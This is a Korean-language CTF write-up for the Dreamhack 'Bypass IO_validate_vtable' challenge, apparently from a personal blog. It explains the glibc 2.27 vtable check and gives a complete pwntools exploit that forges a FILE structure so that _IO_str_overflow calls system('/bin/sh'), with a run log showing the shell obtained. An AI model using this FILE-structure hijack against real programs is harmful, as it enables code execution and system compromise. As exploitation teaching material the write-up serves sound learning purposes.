[dreamhack] Bypass IO_validate_vtable writeup

1. 문제

thumbnail
Bypass IO_validate_vtable

Exploit Tech: Bypass IO_validate_vtable에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/365

2. 풀이


#include <stdio.h>
#include <unistd.h>

FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  init();

  fp = fopen("/dev/urandom", "r");

  printf("stdout: %p\n", stdout);
  printf("Data: ");

  read(0, fp, 300);

  fclose(fp);
}

stdout 주소를 알려주고, fp_IO_FILE 구조체를 덮어씌울 수 있다.


지금까지의 _IO_FILE 관련 문제와 다르게, 이번에는 libc 버전이 2.27로 올라가면서 vtable에 대한 검증이 생겨서 단순히 vtable 주소를 변조하는 방식으로는 쉘을 얻을 수 없다.

2.1. vtable 검증 절차

IO_validate_vtable 함수를 통해 검증한다.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

vtable 주소가 __libc_IO_vtable 섹션에 포함되어야 통과하는데 그렇지않으면 _IO_vtable_check 함수를 실행한다. 이러면 강제로 프로세스가 에러를 뱉으며 종료되어버린다.

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (!rtld_active ()
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

그래서 이 검증을 우회하려면 __libc_IO_vtables 섹션에 존재하는 함수가 fake vtable이 되어야한다.

두가지 함수가 있는데 _IO_str_overflow_IO_str_finish가 있다.

2.2. _IO_str_overflow 함수 활용

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

이 함수 마지막을 보면 (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 이런 구문이 존재하는데 우리의 목표는 _s._allocate_buffer 함수포인터를 system함수로 바꾸고, new_size"/bin/sh"로 바꿔서 system("/bin/sh")가 실행되도록 하는 것이다.

먼저 new_size는 아래와 같이 결정된다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;

그러므로 _IO_buf_base_IO_buf_end를 조작하면 new_size를 조작할 수 있다.

대신 이전에 있는 if문 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))을 통과해야하는데, 이건 _IO_write_ptr_IO_write_base를 조작해서 _IO_buf_end - _IO_buf_base보다 크게만 하면 된다.

그뒤에는 _s._allocate_buffer를 조작해야하는데 _IO_strfile 구조체는 아래와 같다.

typedef struct _IO_strfile {
  struct _IO_FILE _file;
  struct {
    char* (*_allocate_buffer) (struct _IO_FILE*, streambuf*);
    // ...
  } _s;
} _IO_strfile;

_allocate_buffer 필드가 _IO_FILE 구조체 바로 뒤에 존재하기 때문에 해당 구조체 바로 다음에 system함수로 덮어주면된다.

마지막으로 fclose(fp) 코드가 실행될 때 적용되고, fclose함수는 _IO_jump_t 구조체에서 0x10 위치에 있다. 때문에 fake vtable호출하고싶은 함수 주소 - 0x10으로 조작해야한다.

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish); // fclose()
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn); // fwrite()
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn); // fread()
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

많이 돌아왔지만 결국 우리는 _IO_str_overflow함수를 호출하고싶기 때문에 vtable_IO_str_overflow 주소 - 0x10으로 조작하면된다.

주의할 점은 _IO_str_overflow 주소를 libc.symbols로 바로 찾으면 안되고 이를 가리키는 주소로 해야한다.

그래서 _IO_file_jumps를 먼저 찾아서 확인해야한다. (_IO_str_overflow_IO_str_jumps 구조체에 있지만 심볼로 찾으면 못찾음…)

일단 _IO_str_jumps 구조체는 아래와 같이 생겼다.

const struct _IO_jump_t _IO_str_jumps =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, INTUSE(_IO_str_overflow)),
  JUMP_INIT(underflow, INTUSE(_IO_str_underflow)),
  JUMP_INIT(uflow, INTUSE(_IO_default_uflow)),
  JUMP_INIT(pbackfail, INTUSE(_IO_str_pbackfail)),
  JUMP_INIT(xsputn, INTUSE(_IO_default_xsputn)),
  JUMP_INIT(xsgetn, INTUSE(_IO_default_xsgetn)),
  JUMP_INIT(seekoff, INTUSE(_IO_str_seekoff)),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, INTUSE(_IO_default_doallocate)),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
pwndbg> p/x &_IO_file_jumps
$2 = 0x77dfb09e82a0
pwndbg> tel 0x77dfb09e82a0 50
00:0000│  0x77dfb09e82a0 (_IO_file_jumps) ◂— 0
01:0008│  0x77dfb09e82a8 (_IO_file_jumps+8) ◂— 0
02:0010│  0x77dfb09e82b0 (_IO_file_jumps+16) —▸ 0x77dfb068c330 (_IO_file_finish) ◂— push rbp
03:0018│  0x77dfb09e82b8 (_IO_file_jumps+24) —▸ 0x77dfb068d300 (_IO_file_overflow) ◂— mov ecx, dword ptr [rdi]
04:0020│  0x77dfb09e82c0 (_IO_file_jumps+32) —▸ 0x77dfb068d020 (_IO_file_underflow) ◂— mov eax, dword ptr [rdi]
05:0028│  0x77dfb09e82c8 (_IO_file_jumps+40) —▸ 0x77dfb068e3c0 (_IO_default_uflow) ◂— push rbp
06:0030│  0x77dfb09e82d0 (_IO_file_jumps+48) —▸ 0x77dfb068fc50 (_IO_default_pbackfail) ◂— push r15
07:0038│  0x77dfb09e82d8 (_IO_file_jumps+56) —▸ 0x77dfb068b930 (_IO_file_xsputn) ◂— push r15
08:0040│  0x77dfb09e82e0 (_IO_file_jumps+64) —▸ 0x77dfb068b590 ◂— push r15
09:0048│  0x77dfb09e82e8 (_IO_file_jumps+72) —▸ 0x77dfb068ab90 (_IO_file_seekoff) ◂— push r15
0a:0050│  0x77dfb09e82f0 (_IO_file_jumps+80) —▸ 0x77dfb068e990 ◂— push rbx
0b:0058│  0x77dfb09e82f8 (_IO_file_jumps+88) —▸ 0x77dfb068a850 (_IO_file_setbuf) ◂— push rbx
0c:0060│  0x77dfb09e8300 (_IO_file_jumps+96) —▸ 0x77dfb068a6d0 (_IO_file_sync) ◂— push rbp
0d:0068│  0x77dfb09e8308 (_IO_file_jumps+104) —▸ 0x77dfb067e100 (_IO_file_doallocate) ◂— push r12
0e:0070│  0x77dfb09e8310 (_IO_file_jumps+112) —▸ 0x77dfb068b910 (_IO_file_read) ◂— mov rax, rdi
0f:0078│  0x77dfb09e8318 (_IO_file_jumps+120) —▸ 0x77dfb068b190 (_IO_file_write) ◂— push r13
10:0080│  0x77dfb09e8320 (_IO_file_jumps+128) —▸ 0x77dfb068a910 (_IO_file_seek) ◂— mov edi, dword ptr [rdi + 0x70]
11:0088│  0x77dfb09e8328 (_IO_file_jumps+136) —▸ 0x77dfb068a840 (_IO_file_close) ◂— mov edi, dword ptr [rdi + 0x70]
12:0090│  0x77dfb09e8330 (_IO_file_jumps+144) —▸ 0x77dfb068b180 (_IO_file_stat) ◂— mov rdx, rsi
13:0098│  0x77dfb09e8338 (_IO_file_jumps+152) —▸ 0x77dfb068fdd0 ◂— mov eax, 0xffffffff
14:00a0│  0x77dfb09e8340 (_IO_file_jumps+160) —▸ 0x77dfb068fde0 ◂— repz ret 
15:00a8│  0x77dfb09e8348 ◂— 0
... ↓     4 skipped
1a:00d0│  0x77dfb09e8370 —▸ 0x77dfb0690300 ◂— push rbx
1b:00d8│  0x77dfb09e8378 —▸ 0x77dfb068ff60 (_IO_str_overflow) ◂— mov ecx, dword ptr [rdi]
1c:00e0│  0x77dfb09e8380 —▸ 0x77dfb068ff00 (_IO_str_underflow) ◂— mov rax, qword ptr [rdi + 0x28]
1d:00e8│  0x77dfb09e8388 —▸ 0x77dfb068e3c0 (_IO_default_uflow) ◂— push rbp
1e:00f0│  0x77dfb09e8390 —▸ 0x77dfb06902e0 (_IO_str_pbackfail) ◂— test byte ptr [rdi], 8
1f:00f8│  0x77dfb09e8398 —▸ 0x77dfb068e420 (_IO_default_xsputn) ◂— test rdx, rdx
20:0100│  0x77dfb09e83a0 —▸ 0x77dfb068e5d0 (_IO_default_xsgetn) ◂— push r15
21:0108│  0x77dfb09e83a8 —▸ 0x77dfb0690430 (_IO_str_seekoff) ◂— push r14

pwndbg> p/x 0x77dfb09e8378 - 0x77dfb09e82a0
$3 = 0xd8

_IO_file_jumps_IO_str_overflow함수의 거리는 0xd8이다.

조작할 것들을 정리하면 아래와 같다.

_IO_write_ptr = binsh_addr
_IO_write_base = 0
_IO_buf_base = 0
_IO_buf_end = (binsh_addr - 100) / 2
_lock = writable addr # 대충 bss 주소 때려넣자
_IO_str_overflow = _IO_file_jumps + 0xd8
vtable = _IO_str_overflow - 0x10
_s._allocate_buffer (vtable 위치 바로 ) = system_addr

이걸로 exploit을 작성하면 아래와 같다.

from pwn import *

p = process("./bypass_valid_vtable")
#p = remote("host8.dreamhack.games", 23327)
elf = ELF("./bypass_valid_vtable")
libc = ELF("./libc.so.6")

p.recvuntil(b"stdout: ")
stdout_addr = p.recv(14)

libcbase = int(stdout_addr, 16) - libc.symbols["_IO_2_1_stdout_"]
system_addr = libcbase + libc.symbols["system"]
binsh = libcbase + next(libc.search(b"/bin/sh"))

io_file_jumps = libcbase + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16

print(hex(io_str_overflow))
#print(hex(libcbase + libc.symbols["_IO_str_overflow"]))

fake_iofile = p64(0xfbad0000)   # _flags
fake_iofile += p64(0)           # _IO_read_ptr
fake_iofile += p64(0)           # _IO_read_end
fake_iofile += p64(0)           # _IO_read_base
fake_iofile += p64(0)           # _IO_write_base
fake_iofile += p64(binsh)           # _IO_write_ptr
fake_iofile += p64(0)           # _IO_write_end
fake_iofile += p64(0)           # _IO_buf_base
fake_iofile += p64(int(binsh - 100) // 2)           # _IO_buf_end
fake_iofile += p64(0) * 8
fake_iofile += p64(0x601200)    # _lock : should be writable
fake_iofile += p64(0) * 9
#fake_iofile += p64(libcbase + libc.symbols["_IO_str_overflow"] - 0x10)     # vtable
fake_iofile += p64(fake_vtable)     # vtable
fake_iofile += p64(system_addr)     # jump after vtable

p.sendafter(b"Data: ", fake_iofile)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/Bypass_IO_validate_vtable$ python3 e_bypass_valid_vtable.py 
[+] Starting local process './bypass_valid_vtable': pid 3141236
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Bypass_IO_validate_vtable/bypass_valid_vtable'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Bypass_IO_validate_vtable/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x72da847e8378

[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

2.3. _IO_str_finish 함수 활용

가끔 _IO_str_overflow함수를 활용하지못할 때가 있다고 한다. 그럴때 _IO_str_finish함수를 사용하면 되는데 아래와 같다.

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

여기서는 _s._free_buffer 함수포인터를 system함수로 덮고, _IO_buf_base"/bin/sh" 문자열 주소로 덮으면 될 것이다.

우선 _IO_str_finish는 앞에서 _IO_str_jumps 구조체를 보면 _IO_str_overflow 함수 바로 전이기 때문에 _IO_file_jumps 기준으로 0xd0위치이다.

_s._free_buffer는 아래와 같이 위치한다.

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};

struct _IO_str_fields
{
  /* These members are preserved for ABI compatibility.  The glibc
     implementation always calls malloc/free for user buffers if
     _IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set.  */
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};

위에서 빼먹었는데 _IO_strfile_ 구조체의 _IO_streambuf_IO_FILE 구조체와 사실상 동일하게 offset을 공유하고, 그뒤에 나오는 _IO_str_fields = _s에서 _allocate_buffer_free_buffer가 있다. 따라서 _free_buffer_allocate_buffer 뒤에 존재하고, _IO_FILE 구조체의 0x10만큼 뒤에 위치하게 된다.

이제 조작할 것들을 정리하면 아래와 같다.

_IO_buf_base = 0
_IO_buf_end = binsh_addr
_lock = writable addr # 대충 bss 주소 때려넣자
_IO_str_finish = _IO_file_jumps + 0xd0
vtable = _IO_str_finish - 0x10
_s._free_buffer (vtable 위치 + 0x10) = system_addr

근데 이렇게 했는데 안됨… 찾아보니 _IO_str_finish가 gdb에서 보이질 않더라. 아마 심볼이 정의가 되어있지않아서 안되는 것 같았다.


해결~